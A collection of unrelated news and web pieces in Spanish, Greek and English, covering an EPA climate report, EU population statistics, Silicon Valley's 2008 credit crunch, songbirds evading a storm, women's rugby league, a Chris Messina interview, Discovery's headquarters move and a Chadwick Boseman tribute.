Un nuevo informe de la EPA, “El cambio climático en los Estados Unidos: Beneficios de la acción global” hace un estimado de los beneficios físicos y monetarios para los Estados Unidos de la reducción de las emisiones globales de los gases de efecto invernadero. Este informe resume los resultados del proyecto sobre “Los Impactos del Cambio Climático y el Análisis de los Riesgos”, un estudio revisado por pares que compara los impactos en el futuro con la acción global significativa sobre el cambio climático a un futuro en el cual las emisiones actuales de cambio climático continúen subiendo.
El informe señala que la acción global para afrontar el cambio climático beneficiaría significativamente las vidas de las personas en Estados Unidos y también evitaría los daños costosos a la economía estadounidense.
Para leer más sobre el informe (En Inglés), visite: http://www2.epa.gov/cira
Las causas naturales, por sí solas, no pueden explicar los cambios recientes
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Ο πληθυσμός της χώρας μας μειώνεται συνεχώς κάνοντας το δημογραφικό πρόβλημα σημαντικό. Συγκεκριμένα στην Ελλάδα ο πληθυσμός μειώθηκε από 10.741.200 εκατομμύρια το 2018 σε 10.722.300 εκατομμύρια το 2019 ή κατά 1,8 (2,1 του συνόλου της ΕΕ), σύμφωνα με ανακοίνωση της Στατιστικής Υπηρεσίας της Ευρωπαϊκής Ένωσης, πριν από την Παγκόσμια Ημέρα Πληθυσμού (11 Ιουλίου).
Αντιθέτως ο πληθυσμός της Κύπρου αυξήθηκε από 864.200 το 2018 σε 875.900 το 2019 ή κατά +13,4 (0,2% του συνόλου της ΕΕ)
Σύμφωνα με την Eurostat, την 1η Ιανουαρίου 2019, ο πληθυσμός της Ευρωπαϊκής Ένωσης (ΕΕ) υπολογίστηκε σε περίπου 513,5 εκατομμύρια, έναντι 512,4 εκατομμυρίων την 1η Ιανουαρίου 2018.
Κατά το 2018, στην ΕΕ σημειώθηκαν περισσότεροι θάνατοι από τις γεννήσεις (5,3 εκατομμύρια θάνατοι και 5,0 εκατομμύρια γεννήσεις), γεγονός που σημαίνει ότι η φυσική αλλαγή του πληθυσμού της ΕΕ ήταν αρνητική για δεύτερη συνεχή χρονιά.
Η μεταβολή του πληθυσμού (θετική, με 1,1 εκατομμύρια περισσότερους κατοίκους) οφειλόταν επομένως στην καθαρή μετανάστευση.
Η Γερμανία είναι το πιο πυκνοκατοικημένο κράτος μέλος της ΕΕ, με 83,0 εκ. κατοίκων (ή 16,2% του συνολικού πληθυσμού της ΕΕ την 1η Ιανουαρίου 2019), έναντι της Γαλλίας (67,0 εκ. ή 13,1%), του Ηνωμένου Βασιλείου (66,6 εκ. ή 13,0% ), την Ιταλία (60,4 εκ. ή 11,8%), την Ισπανία (46,9 εκ. ή 9,1%) και την Πολωνία (38,0 εκ. ή 7,4%). Για τα υπόλοιπα κράτη μέλη, δεκατέσσερα έχουν μερίδιο μεταξύ 1% και 4% του πληθυσμού της ΕΕ και οκτώ μερίδιο κάτω του 1%.
Το 2018, ο πληθυσμός αυξήθηκε σε δεκαοκτώ κράτη μέλη της ΕΕ και μειώθηκε σε δέκα.
Η μεγαλύτερη αύξηση του πληθυσμού παρατηρήθηκε στη Μάλτα (+36,8 ανά 1.000 κατοίκους), μπροστά από το Λουξεμβούργο (+ 19,6 ‰), την Ιρλανδία (+ 15,2 ‰), την Κύπρο (+ 13,4 ‰), τη Σουηδία (+ 10,8 ‰) το Βέλγιο (+ 6,1 ‰), την Ισπανία και τις Κάτω Χώρες (από + 5,9 ‰) και το Ηνωμένο Βασίλειο (+ 5,6 ‰).
Αντίθετα, η μεγαλύτερη μείωση πληθυσμού σημειώθηκε στη Λετονία (-7,5 ‰), ακολουθούμενη από τη Βουλγαρία και την Κροατία (και τα δύο -7,1 ‰), τη Ρουμανία (-6,6 ‰) και τη Λιθουανία (-5,3 ‰).
Ο πληθυσμός ολόκληρης της ΕΕ αυξήθηκε κατά 1,1 εκατομμύρια άτομα (+ 2,1 ‰) κατά το 2018.
Επιπλέον κατά τη διάρκεια του 2018, 5 εκατομμύρια βρέφη γεννήθηκαν στην ΕΕ, σχεδόν 118.000 λιγότερα από ό, τι το προηγούμενο έτος.
Στα κράτη μέλη, τα υψηλότερα ποσοστά κατά το 2018 σημειώθηκαν στην Ιρλανδία (12,5 ανά 1 000 κατοίκους), τη Σουηδία (11,4 ‰), τη Γαλλία (11,3 ‰) και το Ηνωμένο Βασίλειο (11,0 ‰), ενώ τα χαμηλότερα καταγράφηκαν σε Ιταλία (7,3 ‰), Ισπανία (8,1 ‰), Ελλάδα (8,1 ‰), Πορτογαλία (8,5 ‰), Φινλανδία (8,6 ‰), Βουλγαρία (8,9 ‰) και Κροατία (9,0 ‰).
Σε επίπεδο ΕΕ, το ακαθάριστο ποσοστό γεννήσεων ήταν 9,7 ανά 1 000 κατοίκους.
Εν τω μεταξύ, 5,3 εκατομμύρια θάνατοι καταγράφηκαν στην ΕΕ το 2018, σχεδόν 46 000 περισσότεροι από ό, τι το προηγούμενο έτος.
Η Ιρλανδία (6,4 ανά 1.000 κατοίκους), η Κύπρος (6,6 ‰) και το Λουξεμβούργο (7,1 ‰) είχαν το 2018 το χαμηλότερο ποσοστό θνησιμότητας, ακολουθούμενη από τη Μάλτα (7,6 ‰), τις Κάτω Χώρες (8,9 ‰), την Ισπανία και τη Σουηδία ‰).
Στο αντίθετο άκρο της κλίμακας, η Βουλγαρία (15,4 ‰), η Λετονία (15,0 ‰), η Λιθουανία (14,1 ‰), η Ρουμανία (13,5 ‰) και η Ουγγαρία (13,4 ‰) κατέγραψαν το υψηλότερο.
Για την ΕΕ στο σύνολό της, το ακαθάριστο ποσοστό θνησιμότητας ήταν 10,4 ανά 1 000 κατοίκους. Κατά συνέπεια, η Ιρλανδία (με φυσική μεταβολή του πληθυσμού της + 6,1 ‰) παρέμεινε το 2018 το κράτος μέλος στο οποίο σημειώθηκαν οι μεγαλύτεροι αριθμοί θανάτων, έναντι της Κύπρου (+ 4,1 ‰), του Λουξεμβούργου (+ 3,2 ‰) , Γαλλίας (+ 2,2 ‰), Ηνωμένου Βασιλείου (+1,7 ‰) και Μάλτας (+ 1,6 ‰). Αντίθετα, μεταξύ των δεκαπέντε κρατών μελών της ΕΕ που εμφάνισαν αρνητική φυσική αλλαγή το 2018, οι θάνατοι ξεπέρασαν τις περισσότερες φορές στη Βουλγαρία (-6,6 ‰), ακολουθούμενες από τη Λετονία (-4,9 ‰), τη Λιθουανία (-4,1 ‰), την Κροατία, την Ουγγαρία και τη Ρουμανία (σύνολο -3,9 ‰).
Τέλος, σύμφωνα με το βασικό σενάριο προβολής του πληθυσμού, ο πληθυσμός της ΕΕ θα συνεχίσει να μεγαλώνει γενικά.
Το ποσοστό των παιδιών αναμένεται να μειωθεί ελαφρά από 16% στις αρχές του 2018 σε 14% έως το 2100. Ομοίως, το μερίδιο των εργαζομένων σε ηλικία πληθυσμού της ΕΕ προβλέπεται να μειωθεί από 65% το 2018 55% το 2100.
Αντίθετα, το μερίδιο των ατόμων ηλικίας άνω των 65 ετών στο συνολικό πληθυσμό της ΕΕ αναμένεται να αυξηθεί κατά 11 ποσοστιαίες μονάδες, από 20% στις αρχές του 2018 σε 31% έως το 2100. Την ίδια περίοδο το ποσοστό των ατόμων ηλικίας 80 ετών ετών ή άνω υπολογίζεται ότι σχεδόν τριπλασιάζεται, από 6% σε 15%.
Ως αποτέλεσμα, η μέση ηλικία αναμένεται να αυξηθεί από τα σημερινά 43,1 χρόνια σε 48,7 το 2100.
Ως αποτέλεσμα αυτών των μεταβολών στον πληθυσμό, ο λόγος εξάρτησης των ηλικιωμένων στην ΕΕ προβλέπεται σχεδόν να διπλασιαστεί από 31% το 2018 σε 57% το 2100. Αυτό αντιστοιχεί σε λιγότερα από δύο άτομα σε ηλικία εργασίας για κάθε ηλικιωμένο άτομο ηλικίας 65 ετών και άνω έως το 2100.
Μέχρι το 2100, ο λόγος εξάρτησης ηλικιωμένων προβλέπεται να κυμανθεί από 53% στο Βέλγιο, το Λουξεμβούργο και τη Σουηδία έως 70% στην Πορτογαλία και 72% στην Κροατία.
Σύμφωνα με την προβολή της Eurostat, ο πληθυσμός στην Κύπρο το 2100 θα είναι 1,1 εκατομμύρια και στην Ελλάδα 7,5 εκατομμύρια.
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Fear and doubt spread in Silicon Valley Wall Street credit crunch is drying up acquisitions, IPOs in Silicon Valley
Entrepreneur Jon Fisher says Silican Valley will get squeezed by current financial troubles. Entrepreneur Jon Fisher says Silican Valley will get squeezed by current financial troubles. Photo: Unknown, Courtesy To The Chronicle Photo: Unknown, Courtesy To The Chronicle Image 1 of / 3 Caption Close Fear and doubt spread in Silicon Valley 1 / 3 Back to Gallery
The investment banking crisis on Wall Street is already drying up the flow of capital to Silicon Valley, and while money should find new ways to reach local startups, a cash drought of unknown duration and severity is under way.
That's the synthesis of interviews with a half-dozen sources, each of whom have what valley people call "skin in the game" - personal financial stakes in the startup economy that depend on Wall Street firms like Bear Stearns to keep the whole system working.
"I'm on the board of one startup that is closing a $1 million financing March 31 and we're making certain to get in touch with all the investors to ensure an orderly closing," said Jon Fisher, a serial entrepreneur who recently sold a software startup to Oracle Corp.
MBA BY THE BAY: See how an MBA could change your life with SFGATE's interactive directory of Bay Area programs.
Although logically the turbulence in New York's money markets should not affect such a tiny deal in Northern California, the fact is that the financial ecosystem of Silicon Valley is much like the water cycle - lake water evaporates and rises to form clouds and rains down to fill the lake again.
In the startup economy, the lakes are the venture capital funds that raise money to create startups, which then go public or get sold to a bigger firm. Confidence takes the place of evaporation to keep the cycle going. At the moment, however, confidence has all but evaporated.
"There's so much fear and doubt out there," said Sam Colella, a founding partner of Versant Ventures, which invests in biotech and health care startups.
Colella, who has been a venture capitalist for 22 years, said right now the financial picture is fine in the health care sector that is his bailiwick, but he's been around long enough to know how the confidence crisis can spread.
It all goes back to how the money gets recycled through the startup economy, and a good place to start is with the venture funds that raise money from institutional investors like pension funds that like to sweeten their returns by betting a little bit of their hoard on high-risk but, one hopes, high-return VCs.
The venture capitalists then invest in startups that spend the money to build their companies. Spending the money is the easy part. But VCs eventually want to get their money back.
"Three to five years is about the time we like to stay invested," said Arno Penzias, a Nobel Prize-winning scientist and partner in New Enterprise Associates, a venture firm that invests in alternative energy, among other markets.
And in order to recoup their investments, the venture capitals turn to big investment banks like Bear Stearns and smaller boutique banks to do one of two things: sell the startup on Wall Street through an initial public offering or sell it to a big company like Oracle through the merger-and-acquisition process.
Both types of transactions are called liquidity events in valley-speak. Brenon Daly, who tracks IPOs and mergers in the technology and telecom industries for the 451 Group in San Francisco, said both the avenues VCs use to achieve liquidity have been drying up for months.
"The IPO market is dead," Daly said flatly. Acquisitions had been strong through 2007, when big firms spent $476 billion to buy 3,559 smaller firms in Daly's market, but a good chunk of that activity was buyouts by private-equity firms like the flailing Carlyle Group, now caught in the credit crunch. So that means fewer M&A buyers in 2008, he said.
No wonder Mark Cannice, a professor at the University of San Francisco who regularly surveys the sentiment among VCs, started to detect a drop in their confidence through much of last year. That means they'll be throwing around less of the money that startups use to fund everything from new hires to paper clips.
How long or tough this cash drought will be not even the insiders can guess, but already the regional ecosystem is sprouting new boutique investment banks, like Catapult Advisors in San Francisco, to help VCs bring their startups to the fabled liquidity event.
"We're lickin' our chops to fill in if Bear Stearns drops the ball," said Catapult Managing Partner Ron Lissak.
But what no one knows is how long it will be before the larger investment community, everyone from the individual to the pension fund, regains its appetite for the sine qua non of high returns - Wall Street risk.
"I'm starting to be concerned about what may be the next shoe to drop," said Colella, the biotech guy.
So for now it looks like it's a hard rain that's not gonna fall on Silicon Valley.
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Birds’ abilities to sense approaching storms and imminent earthquakes are not understood well, but it’s clear they’re better than our own.
Banders in southern Israel, for example, reported that gulls and herons took wing just before a 7.2-magnitude earthquake struck in 1995 (Julie Craves reported this in her column “Since You Asked” in June 2010), while a Marbled Godwit wearing a satellite transmitter flew from Baja California to Texas and back, apparently to avoid Hurricane John in 2006 (PDF). Now, thanks to researchers led by Henry Streby of the University of California Berkeley, we know that songbirds, too, are acutely aware of coming bad weather.
In 2013, he and his team equipped 20 male Golden-winged Warblers that nest in eastern Tennessee with miniature light-level geolocators. He later recovered backpacks from five birds.
Each spent the winter in Colombia and arrived on breeding territories between April 13 and April 27, 2014, just as a powerful weather system started to move east through the central and southern United States. The storm would spawn 84 tornadoes and kill 35 people, but, as Streby writes in the January 5 issue of Current Biology, the warblers eluded it.
One to two days before it hit, each bird abandoned its territory and flew south to the Gulf Coast, over 400 miles away. The warblers returned May 1-2, after the storm had passed, and promptly resumed defending territories. Most likely, Streby suggests, the birds were tipped off by ultra-low-frequency sound waves produced by the advancing storm.
A version of this article appeared in the April 2015 issue of BirdWatching. Subscribe.
Read the abstract: Henry M. Streby, Gunnar R. Kramer, Sean M. Peterson, Justin A. Lehman, David A. Buehler, David E. Andersen. 2015. Tornadic Storm Avoidance Behavior in Breeding Songbirds. Current Biology, Volume 25, Issue 1, pages 98–102, 5 January 2015. Abstract.
Read other news stories we’ve published in “Birding Briefs.”
Originally Published
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Jillaroos selectors have named a Harvey Norman Jillaroos merit team, following the second successful Holden Women's State of Origin match last Friday.
Jillaroos coach Brad Donald congratulated the team, saying this year's Origin match was one of the best matches he had witnessed since commencing as Jillaroos coach in 2016.
"The skill level of our elite female athletes continues to get better and better and I was so proud of the efforts of every player competing for their respective states," Mr Donald said.
"We're in a building phase as we start to focus on the 2021 Rugby League World Cup and you can sense between the elite players that there is a healthy level of competition for spots.
"Throw in the talent coming through the Pathways programs, many of whom featured in the Under 18's fixture on Friday night, and it's the future is bright for women's rugby league.
"Those in this merit team deserve their place and recognition, as we prepare for plenty more rugby league this year, including the Premiership, a Nines Tournament and a Test Match."
NRL General Manager of the Women's Elite Program, Tiffany Slater said the Women's Origin match had attracted a significant increase in fan attendance and TV audience year on year.
"More than 10,500 fans witnessed a rivalry without rival last Friday night at North Sydney Oval, with a million people tuning in," Ms Slater said.
"It was fantastic to see men, women and children of all ages supporting the fastest growing area of our game – women's rugby league – and particularly at the end of the match, when thousands of fans rushed onto the field to greet their heroes that had just been part of a thrilling match.
"I have no doubt that the quality and support of Women's Origin will continue to increase and the best news is that there's still plenty of women's rugby league to be played this year."
The 2019 Harvey Norman Jillaroos Merit Team is as follows:
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This is the first installment of our two-part interview with Chris Messina, best-known as the man who invented the hashtag.
Though he’s worked at Google, launched several startups, and been a driving force behind open-source community building (with the likes of BarCamp and coworking), Chris Messina is most frequently associated with that moment in 2007 when he suggested that IRC’s way of organizing channels with a pound sign would work beautifully in the Twitter landscape — yes, this is the man who brought us the hashtag.
With a degree in communication design from Carnegie Mellon, Messina started out in graphic and web design but soon started working in development and user experience. After more than half a decade as a founder and consultant, he took a job at Google in 2010, working on an exciting, new social network.
“Google+ is such a perfect tragedy,” Messina says of the product’s anti-climactic trajectory. “Rather than building out a simpler, better, mobile-first vision of social networking in the future, Google+ focused on the recent past, chasing ghosts in its rearview mirror.”
Since his departure from Google in 2013, Messina has been a refreshingly honest voice in the industry; his blog on Medium covers a wide range of issues, both professional and personal, but always viewed through the lens of a tech entrepreneur and styled with Messina’s characteristic tongue-in-cheek voice.
I recently had the opportunity to talk to Messina, and the interview produced so much interesting content that we’ve decided to split the piece into two posts.
In Part One, we discuss life after Google, behavioral economics, predicting the future, and creating communities.
What are you working on now?
I wish I had a better answer for you, but frankly my biggest project over the last year and half has been myself.
Since leaving Google, I’ve done a lot of self-work and reflection. I’ve traveled, learned to meditate, been to Burning Man twice, gotten divorced, entered into a new (non-monogamous) relationship, and become a bonus dad to my partner’s two kids.
Essentially, I’ve grown up. I’m more centered in myself, and my mind has opened up. You know, it’s not always a popular thing to slow down, disengage, and survey the landscape, but I’m much better for it.
I’m seeing new patterns of behavior and fissures of change that are worth investigating. It’s hard to get to those insights when you stay in the froth; you’ve got to step outside where you feel comfortable and shake things up.
What has this outside perspective revealed?
A couple threads have started to stand out to me. From the impact of social technologies on long term and intimate relationships (#BigDating) to using conversational mediums (#ConvComm) like chat and text messaging for commerce, there are interesting products to be built where intimacy, relationships, communication, and commerce intersect.
Digital nomads (#DigitalNomads) are combining mobility, communications, coworking, and co-living in novel arrangements that present exciting design opportunities for urban planners and technologists.
The enablers of this trend are only now becoming ubiquitous and cost-effective to make this lifestyle available for a broader set of people. We’re watching the shape of work radically reconfigure.
What was the most interesting aspect of life at Google?
I was fortunate to be there for the transition of power from Eric Schmidt back to Larry Page.
When I joined the company, the web was the platform and you could throw things against the wall to see what stuck. After Larry took over, that all changed. Building a product to 85% completion wasn’t sufficient; you had to invest for the long haul, make big bets.
Think of Google’s 10x moonshot mantra. Essentially it became too expensive (considering employee management and brand loyalty) for Google to keep producing duds. With an increasingly competitive marketplace, technical merit wasn’t sufficient to differentiate their products; Google needed to bring designers to the fore.
Larry specifically brought about a much greater focus on design and aesthetics. Engineers were no longer solely responsible for the front-end UIs of their products. Google+ led a lot of this change, and Android has continued that trend with Material Design.
I’m not sure that Material could have happened under Schmidt, who reigned over a meritocratic adhocracy. Larry’s Google is tighter, more vertical, and disciplined. He can dictate a more cohesive, controlled aesthetic. As a result, Google’s products have improved considerably over the last four years.
Being there to witness this massive organizational transition was probably the most worthwhile and interesting aspect of my time there. It left me with loads of respect and insight into what makes Google different, and what separates it from other companies out there.
Entrepreneurs are tasked with constantly predicting the future. How do you react to that kind of stress?
I’ll admit that I suffer from lengthy periods of self-doubt peppered with moments of clairvoyance. The problem is, it’s hard to know when my intuition is tapping into something general, versus specific to my experience.
Most entrepreneurs that share ideas with me have some key insight about their intended audience (which may include themselves), but don’t think about behavioral economics and bridging structures. That is, they don’t think about how they’ll seed adoption.
In my experience, you’re more likely to succeed if you align your product with a familiar behavior. This lowers the behavioral cost of the new thing so there’s less resistance to it. Get this right and you can push forward with your bridging structure: taking your early adopters from that familiar place to wherever new it is you want them to go.
Twitter is a great example of this if you consider their reliance on SMS early on. More recently, Slack pulled the same trick by freeing IRC from the bowels of the internet (which is where most developers have historically hung out) and bringing it to web browsers and mobile devices.
Slack recreated IRC’s fundamentals while introducing several product improvements, like embedding media inline and making it easy to invite new users. For developers familiar with IRC, Slack is completely intuitive — plus a better overall experience. Having built a bridge to their past, developers become the viral vector for taking over corporate America!
You’ve had a lot of success fostering community, an enviable skill. Can you share your tactics?
I remember in the early days of BarCamp, there’d be people who would email me and ask me to come organize a local event for them. Instead, I’d open up Illustrator and make a BarCamp logo for them, using colors from their state or country flag, send it back to them and say, “Here’s your logo, here’s a link to the documentation, you put on your event. You can do this.”
Here I was, some punk kid in Silicon Valley, giving them permission to not need to ask for permission! I was giving them the BarCamp brand and entrusting them with maintaining its integrity.
With coworking, it was similar. We published everything we were doing openly, including our finances and how much money we were losing. We were interested in showing people what was really involved in running a space — putting the upside of community and connection in context with fiscal realities.
We wanted everyone to not only have a stake in the collective’s success, but also be owners and co-determinants of whether the thing lived on or not. The more we handed over control and treated our effort like an open-source project, the more people showed up, willing to pitch in and contribute.
How has your productivity style changed now that you’re not in a traditional office?
For a while I was funemployed — not really working at all. It was an enormous privilege to have time to step back from everything, learn meditation, spend time by myself, and reconnect with friends.
Last fall, I started to think more seriously about what I wanted to do next, and I have to admit — it’s been stop and go getting my groove back. I suppose I’ve always been a bit driven by distraction, but working from home seems to amplify this tendency.
While I was happy to leave the corporate office and my two-hour commute behind, there was utility in being surrounded by smart, focused, competitive people who always needed something from you or challenged you to work harder or more intentionally. I find that I still have this tendency to interact with people throughout my day — but now it’s largely through social media.
As I’ve got speaking and travel gigs on the horizon, I expect by April to have figured out my next move, rebalancing my independent work with something more collaborative. I mean, I definitely enjoy my freedom, but a guy’s gotta eat and pay the rent too!
Part Two
Next week we’ll publish Part Two, which will cover more industry-related topics like defining failure for a social network, the hashtag, innovating across cultural and privilege divides, and what privacy means in a time when we give away our precious digital reflections to social networks for free. Please stay tuned!
Images courtesy of Chris Messina
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Silver Spring's office market suffered a major loss Tuesday with Discovery Communications' decision to move its HQ to New York City, but despite the major vacancy, county officials, developers and brokers think the market remains well-positioned for future success.
The former Discovery Communications' HQ building in Downtown Silver Spring
Discovery's decision followed its $14.6B deal last year to acquire Scripps Networks. The county then became aware it was considering leaving and, along with the state, offered Discovery a large incentive package to keep it in Silver Spring, Montgomery County Executive Ike Leggett said. But Discovery ultimately decided to move its 1,300 employees out of Silver Spring to offices in New York City and Knoxville, Tennessee.
"It's a punch in the gut," Leggett told Bisnow. "It will take us a little bit of time to reorient and get all the things we want in place to make a complete recovery."
The media company retained JLL's Bill Prutting and Steve Collins to sell its 540K SF office building, a JLL spokesperson said Wednesday. When it vacates in 2019, Discovery will leave a big hole in the Silver Spring office market. Its 10-story HQ occupies an entire block just north of the Metro station at Georgia Avenue and Colesville Road, one of Silver Spring's busiest intersections.
Bisnow: Jon Banister
Montgomery County Executive Ike Leggett at a Bisnow event in 2016
Silver Spring's office market, with a total inventory of 4.9M SF, had a vacancy rate of 12.6% in Q4, according to Cushman & Wakefield. Leggett said he is confident the county can absorb the vacancy left by Discovery but is still determining its strategy to move forward.
“Our problem is not filling space,” Leggett said. “The problem is will you end up filling it in a piecemeal fashion over a period of time or do you hold out for one large corporation? To try to find one unified taker that would want all of that space is not an easy find, but that will be the objective.”
Montgomery County Economic Development Corp. CEO David Petr said the county has been in talks with two technology companies that could each potentially bring 1,000 jobs to the county. He could not disclose the names of the companies, but he said Discovery's building coming available could improve the county's chances, given the property's size and location.
"We're excited to go back to these two clients and say 'here's something that may be coming on the market soon,'" Petr said. "It's not often we have several thousand-person-sized projects in our pipeline."
While it could be months or years before Discovery's space is filled, Jarvis Commercial Real Estate CEO Ernie Jarvis — who represented Radio One in its 100K SF renewal in Silver Spring in late 2016 — said the vacancy will have an immediate impact on the office market.
"Dropping a vacant, 500K SF asset in the middle of a market that is just bouncing along is certainly going to shoot up vacancy rates and drive rents down," Jarvis said. "If you're in the market now for space in Silver Spring, once that building closes you'll have another 500K SF of Class-A space."
Downtown Silver Spring, Foulger-Pratt's 409K SF retail development at 900 Ellsworth Drive
Beyond the office market, losing 1,300 jobs could have an immediate effect on demand for other sectors such as hotel, retail and multifamily, and could hurt the county's bottom line, Leggett said.
"Some of it may be seen with the nearby hotels that bring in visitors to Discovery," Leggett said. "You'll probably see it with restaurants and some of the smaller businesses that rely upon customers. Those are the kinds of things you'll see in the short term ... The long-term impact for the government would be the potential loss of taxpayers and the value of the property."
Much of the success Silver Spring has experienced over the last two decades can be traced back to Discovery's 1998 decision to move its HQ there from Bethesda, Jarvis said.
"We should really thank Discovery for building here in the first place, because that spawned a huge economic development boom in Silver Spring," Jarvis said. "They served as the anchor for many years."
One of the drivers of that development has been Foulger-Pratt. The developer in 1999 began developing its 409K SF Downtown Silver Spring retail complex across the street from Discovery's HQ. The development, which delivered in phases until 2004, boasts a Regal Cinemas and IMAX movie theater, a Whole Foods Market and dozens of dining and shopping options. The developer has also built three multifamily buildings in Downtown Silver Spring totaling over 700 units and over 1.3M SF of office space.
"I don't think you can minimize the positive impact Discovery had on Silver Spring," Foulger-Pratt's Bryant Foulger said. "It has played an important role in Montgomery County for a long time."
But given the growth Silver Spring has had over the last decade, Foulger does not believe Discovery's exit will prove as disastrous to the overall health of the market as it could have in the past.
"When they came to Silver Spring they represented a much larger piece of the business community," Foulger said. "If this were to have happened seven or eight years ago, it would have had a bigger impact. I'm sure it will have an impact, but I don't think it will be devastating. I think we'll be OK."
Foulger and Petr will discuss Silver Spring and the county Jan. 24 at Bisnow's Montgomery County State of the Market at Park Potomac.
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I hope he knew the impact he had on the lives of countless people around the world. I hope he knew how much he was loved and how many people admired his talent. How many people - little boys, little girls, men, women - looked up to him.
I can’t fight the tears that come stubbornly, I can’t actually believe that that is true but I know I’m finding comfort in knowing that Chadwick Boseman will literally live forever through the legacy he leaves behind, and that he’s already a legend and a symbol of hope and a symbol of power for forever.
Rest In Peace. Rest in Power, King.
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